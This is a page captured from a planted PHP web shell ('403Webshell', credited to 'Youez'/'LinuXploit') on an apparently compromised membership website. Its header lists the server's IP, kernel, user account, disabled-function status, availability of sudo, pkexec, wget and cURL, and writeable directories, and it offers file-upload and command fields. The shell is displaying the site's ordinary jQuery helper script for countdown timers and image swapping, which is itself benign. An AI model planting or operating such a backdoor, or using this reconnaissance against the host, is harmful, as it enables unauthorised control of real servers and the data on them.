403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/members.emilyaddison.com/public_html/members/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/members.emilyaddison.com/public_html/members/js/helper.js

$( document ).ready(function() {


	$(".convert_unixtime").each( function(e) { 
		
		vx = $(this).html();
		vs = new Date(vx * 1000);
		
		$(this).html( convert_fromunixtime(vs) );
	});
	
	$(".hide_if_live").each( function(e) { 
		var t = $(this).data("time");
		var u = new Date(t * 1000);
		
		var c = new Date();
		
		if (c < u)
		{
			$(this).show();
		}
	});

	$(".show_if_live").each( function(e) { 
		
		var t = $(this).data("time");
		var u = new Date(t * 1000);
		
		var c = new Date();
		
		if (c >= u)
		{
			$(this).show();
		}
	});


	lsb = $("#live_show_box");

	st = $("#live_show_box").data("start")
	ed = $("#live_show_box").data("end")
	if (st == undefined) return;
	ct = $("#live_show_box").data("currtime")
	
	var s = new Date(st * 1000);
	var e = new Date(ed * 1000);
	
	var live_int = setInterval(function(){ 

		var c = new Date();
		
		fullt = convert_fromunixtime(s);
		
		if (c > e)
		{
			$(".live_show_wrapper").fadeOut();
			clearInterval(live_int);
		}		
		else if (s > c)
		{
			$("#live_show_fulltime").html(fullt);
			$("#live_show_fulltime").fadeIn();

			
			tm = Math.floor(s.getTime() - c.getTime() ) / 1000;
			
			st = Math.floor(tm / 86400);
			if (st < 10) st = "0" + st;
			tm = tm % 86400;
			$("#live_show_days").html(st);
			
			st = Math.floor(tm / 3600);
			if (st < 10) st = "0" + st;
			tm = tm % 3600;
			$("#live_show_hours").html(st);
			
			st = Math.floor(tm / 60);
			if (st < 10) st = "0" + st;
			tm = tm % 60;
			$("#live_show_minutes").html(st);
			
			st = Math.floor(tm);
			if (st < 10) st = "0" + st;
			tm = tm;
			$("#live_show_seconds").html(st);
			
			$("#live_show_now").fadeOut("400", function() { 
				$("#live_show_future").fadeIn();			
			});

		}
		else
		{
			if (lsb.data("refresh") == "1")
			{
				clearInterval(live_int);
				document.location.reload(); 
				return;
			}
			
			$("#live_show_days").html("00");		
			$("#live_show_hours").html("00");		
			$("#live_show_minutes").html("00");		
			$("#live_show_seconds").html("00");
			
			$("#live_show_fulltime").fadeOut(400, function() {
				$("#live_show_watchnow").fadeIn();
			});
			
			$("#live_show_future").fadeOut(400, function() { 			
				$("#live_show_now").fadeIn();	
			});
		}

	}, 1000);
});

function convert_fromunixtime(s)
{
	w = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"];
	m = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
	
	h = s.getHours();
	ampm = (h > 11) ? "pm" : "am";
	h -= (h > 11) ? 12 : 0;
	h = (h == 0) ? 12 : h;
	min = s.getMinutes();
	if (min < 10) min = "0" + min;
	
	return w[s.getDay()] + " " + m[s.getMonth()] + " " + s.getDate() + ", " + s.getFullYear() + ", " + h + ":" + min + ampm;
}


function CreateBookmarkLink() 
{
	 title = document.title; 
	 url = location.href;

	 if (window.sidebar) 
	 { 
		window.sidebar.addPanel(title, url,"");
	 } 
     else if( window.external ) 
	 {
		window.external.AddFavorite( url, title); 
	 }
	 else if(window.opera && window.print) 
	 {
		alert("Your browser does not support adding bookmarks by clicking web links.  Please bookmark this link manually.")
		return true; 
	 }
}



var interv;
var ax = []
var idx = ""



this.stdthis = function(){

	cnt = $('#'+idx).attr('cnt');
	v = $('#'+idx).attr('v');
	v = parseInt(v);
	v = (v + 1) % cnt;

	sr = ax[v]

	$('#'+idx).attr('v', v);
	$('#'+idx).attr('src', sr);
}

function pixelRatioZoom()
{
	zr = 1;
	
	if (!!("undefined" != typeof document.documentElement.ontouchstart))
	{
		zr = screen.width / $(window).width();		
	}
	
	var dpr = (window.devicePixelRatio) ? window.devicePixelRatio : 1;
	
	var zm = NaN;

	if (isNaN(zm))
	{
		try
		{
			zm = document.documentElement.clientWidth / window.innerWidth;
		}
		catch(e)
		{
			zm = NaN;
		}
	}
	
	if (isNaN(zm))
	{
		try
		{		
			zm = screen.deviceXDPI / screen.logicalXDPI 
		}
		catch(e)
		{
			zm = NaN;
		}
	}
	
	zm = (isNaN(zm)) ? 1 : zm;
		
	return zm * dpr * zr;	
}


suffix = "_1x";

var zoom = pixelRatioZoom();

function szhandler()
{
    var newzoom = pixelRatioZoom();
            
    if (newzoom == zoom)
    {
	    return;
    }
    
    var newsuffix = suffix;
        
	zoom = newzoom

	if (zoom > 3.3)
	{
		newsuffix = "_4x"
	}
	else if (zoom > 2.3)
	{
		newsuffix = "_3x"
	}
	else if (zoom > 1.3)
	{
		newsuffix = "_2x";
	}
	else
	{
		newsuffix = "_1x";			
	}

    if (suffix != newsuffix)
    {    
	    suffix = newsuffix

		$(".stdimage").each(function(index) {
	
			o_img = $(this).attr("src")		

			if (zoom > 3.3 && ($(this).attr("src0_4x") != undefined))
			{
				n_img = $(this).attr("src0_4x")
			}
			else if (zoom > 2.3 && ($(this).attr("src0_3x") != undefined))
			{
				n_img = $(this).attr("src0_3x")
			}
			else if (zoom > 1.3 && ($(this).attr("src0_2x") != undefined))
			{			
				n_img = $(this).attr("src0_2x")
			}
			else
			{
				if ($(this).attr("src0_1x") != undefined)
				{
					n_img = $(this).attr("src0_1x")
				}
				else
				{
					n_img = $(this).attr("src0")
				}
			}
			
			if (n_img != o_img)
			{
				$(this).attr("src", n_img);
			}
		});
	
	}

}

// zoom / scroll handler.

sch = 0;

if (sch == 0)
{
	try
	{
		document.addEventListener("scroll", szhandler, true);
		sch = 1;
	}
	catch(e) {}
}

if (sch == 0)
{
	try
	{
		window.attachEvent ("onscroll", szhandler);
		sch = 1;
	}
	catch(e) {}
}

$(window).resize(function() {
	szhandler();
});



this.StdImageHandler = function(){	

	imgs = [];

	$(".stdimage").ready(function() {

		if (zoom > 3.3)
		{
			suffix = "_4x"
		}		
		else if (zoom > 2.3)
		{
			suffix = "_3x"
		}
		else if (zoom > 1.3)
		{
			suffix = "_2x";
		}
		else
		{
			suffix = "_1x";			
		}
		
		$(".stdimage").each(function(index) {

			if (zoom > 3.3 && ($(this).attr("src0_4x") != undefined))
			{		
				$(this).attr("src", $(this).attr("src0_4x"))
			}
			else if (zoom > 2.3 && ($(this).attr("src0_3x") != undefined))
			{		
				$(this).attr("src", $(this).attr("src0_3x"))
			}
			else if ((zoom > 1.3) && ($(this).attr("src0_2x") != undefined))
			{			
				$(this).attr("src", $(this).attr("src0_2x"))
			}
			else
			{
				if ($(this).attr("src0_1x") != undefined)
				{
					$(this).attr("src", $(this).attr("src0_1x"))	
				}
				else
				{
					$(this).attr("src", $(this).attr("src0"))
				}
			}
		});


		$(".stdimage").each(function(index) {
			cnt = $(this).attr('cnt')
	
			if (cnt < 2)
			{
				return;
			}
						
			for(c=0; c < cnt; c++)
			{
				if ( $(this).attr('src' + c + suffix) != undefined )
				{
					itr = imgs.length;
					imgs[itr] = new Image;				
					imgs[itr].src = $(this).attr('src' + c + suffix)					
				}

				if ( $(this).attr('src' + c) != undefined )
				{
					itr = imgs.length;
					imgs[itr] = new Image;				
					imgs[itr].src = $(this).attr('src' + c)					
				}
			}
		});	

	});	
	

	$(".stdimage").hover(function(e){
		cnt = $(this).attr('cnt')
		idx = $(this).attr('id')

		if (cnt < 2)
		{
			return;
		}

		v = $(this).attr('v')
		v = parseInt(v);
		v = (v + 1) % cnt;

		ax = []
		for(c=0; c < cnt; c++)
		{						
			if ( $(this).attr('src' + c + suffix) != undefined )
			{
				ax[c] = $(this).attr('src' + c + suffix)			
			}
			else
			{
				ax[c] = $(this).attr('src' + c)	
			}
		}
	
		$(this).attr('v', v);
		$(this).attr('src', ax[v])		

		interv = setInterval("this.stdthis()", 800);
	},
	function(e){
		cnt = $(this).attr('cnt')
		
		if (cnt < 2)
		{
			return;
		}

		$(this).attr('v' ,0);
		
		if ( $(this).attr('src0' + suffix) != undefined )
		{
			$(this).attr('src', $(this).attr('src0' + suffix))
		}
		else
		{
			$(this).attr('src', $(this).attr('src0'))			
		}

		clearInterval(interv)
		interv = 0;
		idx = "";
    });
}





Youez - 2016 - github.com/yon3zu
LinuXploit